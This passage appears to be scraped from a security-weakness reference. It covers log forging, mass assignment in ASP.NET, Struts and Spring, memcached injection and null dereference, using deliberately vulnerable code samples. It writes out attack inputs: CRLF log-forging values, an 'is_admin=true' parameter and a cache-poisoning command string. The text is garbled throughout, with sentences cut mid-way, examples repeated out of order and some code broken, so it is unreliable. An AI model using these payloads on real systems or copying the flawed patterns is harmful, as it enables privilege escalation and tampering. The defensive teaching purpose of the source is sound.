Example 1 to the Android platform.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one" for val, the following entry is logged:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
twenty-one" for val, the following entry is logged:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil", the following entry is logged:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
twenty-one" for logout and he was able to create a user with name "admin", the following entry is logged:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++", the following entry is logged:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
twenty-one" for logout and he was able to create a user with name "admin", the following entry is logged:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++", the following entry is logged:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
twenty-one" for val, the following entry is logged:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
twenty-one" for val, the following entry is logged:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil", the following entry is logged:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
twenty-one" for val, the following entry is logged:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy", the following entry is logged:
Failed to parse val=twenty-one
User logged out=badguy
@HttpGet
global static void doGet() {
RestRequest req = RestContext.request;
String val = req.params.get('val');
try {
Integer i = Integer.valueOf(val);
...
} catch (TypeException e) {
System.Debug(LoggingLevel.INFO, 'Failed to parse val: '+val);
}
}
twenty-one" for val, the following entry is logged:
Failed to parse val: twenty-one
twenty-one%0a%0aUser+logged+out%3dbadguy", the following entry is logged:
Failed to parse val: twenty-one
User logged out=badguy
...
String val = request.Params["val"];
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val = " + val);
}
...
twenty-one" for val, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1 to the Android platform.
...
String val = this.Intent.Extras.GetString("val");
try {
int value = Int.Parse(val);
}
catch (FormatException fe) {
Log.E(TAG, "Failed to parse val = " + val);
}
...
...
var idValue string
idValue = req.URL.Query().Get("id")
num, err := strconv.Atoi(idValue)
if err != nil {
sysLog.Debug("Failed to parse value: " + idValue)
}
...
twenty-one" for val, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one" for val, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1 to the Android platform.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.error("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one" for val, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = request.GET["val"]
try:
int_value = int(val)
except:
logger.debug("Failed to parse val = " + val)
...
twenty-one" for val, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
...
val = req['val']
unless val.respond_to?(:to_int)
logger.debug("Failed to parse val")
logger.debug(val)
end
...
twenty-one" for val, the following entry is logged:
DEBUG: Failed to parse val
DEBUG: twenty-one
twenty-one%0a%DEBUG:+User+logged+out%3dbadguy", the following entry is logged:
DEBUG: Failed to parse val
DEBUG: twenty-one
DEBUG: User logged out=badguy
RegisterModel or Details classes:
public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}
RegisterModel class is defined as:
public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }
[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }
[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }
public Details Details { get; set; }
public RegisterModel()
{
Details = new Details();
}
}
Details class is defined as:Example 2: When using
public class Details
{
public bool IsAdmin { get; set; }
...
}
TryUpdateModel() or UpdateModel() in ASP.NET MVC or Web API applications, the model binder will automatically try to bind all HTTP request parameters by default:Example 3: In ASP.NET Web Form applications, the model binder will automatically try to bind all HTTP request parameters when using
public ViewResult Register()
{
var model = new RegisterModel();
TryUpdateModel<RegisterModel>(model);
return View("detail", model);
}
TryUpdateModel() or UpdateModel() with IValueProvider interface.
Employee emp = new Employee();
TryUpdateModel(emp, new System.Web.ModelBinding.FormValueProvider(ModelBindingExecutionContext));
if (ModelState.IsValid)
{
db.SaveChanges();
}
Employee class is defined as:
public class Employee
{
public Employee()
{
IsAdmin = false;
IsManager = false;
}
public string Name { get; set; }
public string Email { get; set; }
public bool IsManager { get; set; }
public bool IsAdmin { get; set; }
}
Booking class:
<view-state id="enterBookingDetails" model="booking">
<on-render>
<render fragments="body" />
</on-render>
<transition on="proceed" to="reviewBooking">
</transition>
<transition on="cancel" to="cancel" bind="false" />
</view-state>
Booking class is defined as:
public class Booking implements Serializable {
private Long id;
private User user;
private Hotel hotel;
private Date checkinDate;
private Date checkoutDate;
private String creditCard;
private String creditCardName;
private int creditCardExpiryMonth;
private int creditCardExpiryYear;
private boolean smoking;
private int beds;
private Set<Amenity> amenities;
// Public Getters and Setters
...
}
Order, Customer, and Profile are Microsoft .NET Entity persisted classes.
public class Order {
public string ordered { get; set; }
public List<LineItem> LineItems { get; set; }
pubilc virtual Customer Customer { get; set; }
...
}
public class Customer {
public int CustomerId { get; set; }
...
public virtual Profile Profile { get; set; }
...
}
public class Profile {
public int profileId { get; set; }
public string username { get; set; }
public string password { get; set; }
...
}
OrderController is the ASP.NET MVC controller class handling the request:
public class OrderController : Controller{
StoreEntities db = new StoreEntities();
...
public String updateOrder(Order order) {
...
db.Orders.Add(order);
db.SaveChanges();
}
}
Order, Customer, and Profile are Hibernate persisted classes.
public class Order {
String ordered;
List lineItems;
Customer cust;
...
}
public class Customer {
String customerId;
...
Profile p;
...
}
public class Profile {
String profileId;
String username;
String password;
...
}
OrderController is the Spring controller class handling the request:
@Controller
public class OrderController {
...
@RequestMapping("/updateOrder")
public String updateOrder(Order order) {
...
session.save(order);
}
}
[FromBody] annotation is used.[FromBody] annotation is applied to a complex parameter of an action, then any other binding attributes such as [Bind] or [BindNever] applied to the type of the parameter or any of its fields are effectively ignored, which means that mitigation using binding annotations is impossible.[FromBody] annotation is applied to a parameter of an action, the model binder automatically tries to bind all parameters specified in the body of the request using an Input Formatter. By default, the binder uses the JSON Input Formatter to try and bind all possible parameters that come from the body of the request:
[HttpPost]
public ActionResult Create([FromBody] Product p)
{
return View(p.Name);
}
[Bind] or [BindNever] applied to the Product type that follows are ignored due to Input Formatters being used when the [FromBody] annotation is present.
public class Product
{
...
public string Name { get; set; }
public bool IsAdmin { get; set; }
...
}
Register) is accessed from a web form that asks the users to register an account by providing their name and password:
public ActionResult Register(RegisterModel model)
{
if (ModelState.IsValid)
{
try
{
return RedirectToAction("Index", "Home");
}
catch (MembershipCreateUserException e)
{
ModelState.AddModelError("", "");
}
}
return View(model);
}
RegisterModel class is defined as:
public class RegisterModel
{
[BindRequired]
[Display(Name = "User name")]
public string UserName { get; set; }
[BindRequired]
[DataType(DataType.Password)]
[Display(Name = "Password")]
public string Password { get; set; }
[DataType(DataType.Password)]
[Display(Name = "Confirm password")]
public string ConfirmPassword { get; set; }
public Details Details { get; set; }
public RegisterModel()
{
Details = new Details();
}
}
Details class is defined as:
public class Details
{
public bool IsAdmin { get; set; }
...
}
Example 1, an attacker may be able to explore the application and discover that there is a Details attribute in the RegisterModel model. If this is the case, the attacker may then attempt to overwrite the current values assigned to their attributes.
name=John&password=****&details.is_admin=true
<struts-config>
<form-beans>
<form-bean name="dynaUserForm"
type="org.apache.struts.action.DynaActionForm" >
<form-property name="type" type="java.lang.String" />
<form-property name="user" type="com.acme.common.User" />
</form-bean>
...
User class is defined as:
public class User {
private String name;
private String lastname;
private int age;
private Details details;
// Public Getters and Setters
...
}
Details class is defined as:
public class Details {
private boolean is_admin;
private int id;
private Date login_date;
// Public Getters and Setters
...
}
Example 1, an attacker may be able to explore the application and discover that there is a details attribute in the User model. If this is the case, the attacker may then attempt to overwrite the current values assigned to their attributes.
type=free&user.name=John&user.lastname=Smith&age=22&details.is_admin=true
...
TextClient tc = (TextClient)Client.GetInstance("127.0.0.1", 11211, MemcachedFlags.TextProtocol);
tc.Open();
string id = txtID.Text;
var result = get_page_from_somewhere();
var response = Http_Response(result);
tc.Set("req-" + id, response, TimeSpan.FromSeconds(1000));
tc.Close();
tc = null;
...
set req-1233 0 1000 n
<serialized_response_instance>
n is length of the response.ignore 0 0 1\r\n1\r\nset injected 0 3600 10\r\n0123456789\r\nset req-, then the operation becomes the following:
set req-ignore 0 0 1
1
set injected 0 3600 10
0123456789
set req-1233 0 0 n
<serialized_response_instance>
injected=0123456789 and the attackers will be able to poison the cache.
...
def store(request):
id = request.GET['id']
result = get_page_from_somewhere()
response = HttpResponse(result)
cache_time = 1800
cache.set("req-" % id, response, cache_time)
return response
...
set req-1233 0 0 n
<serialized_response_instance>
ignore 0 0 1\r\n1\r\nset injected 0 3600 10\r\n0123456789\r\nset req-, then the operation becomes the following:
set req-ignore 0 0 1
1
set injected 0 3600 10
0123456789
set req-1233 0 0 n
<serialized_response_instance>
injected=0123456789. Depending on the payload, attackers will be able to poison the cache or execute arbitrary code by injecting a Pickle-serialized payload that will execute arbitrary code upon deserialization.null.Item property is null before calling the member function Equals(), potentially causing a null dereference.
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null value."null.malloc().
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.null.getParameter() is null before calling the member function compareTo(), potentially causing a null dereference.Example 2:. The following code shows a system property that is set to
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null and later dereferenced by a programmer who mistakenly assumes it will always be defined.
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null value."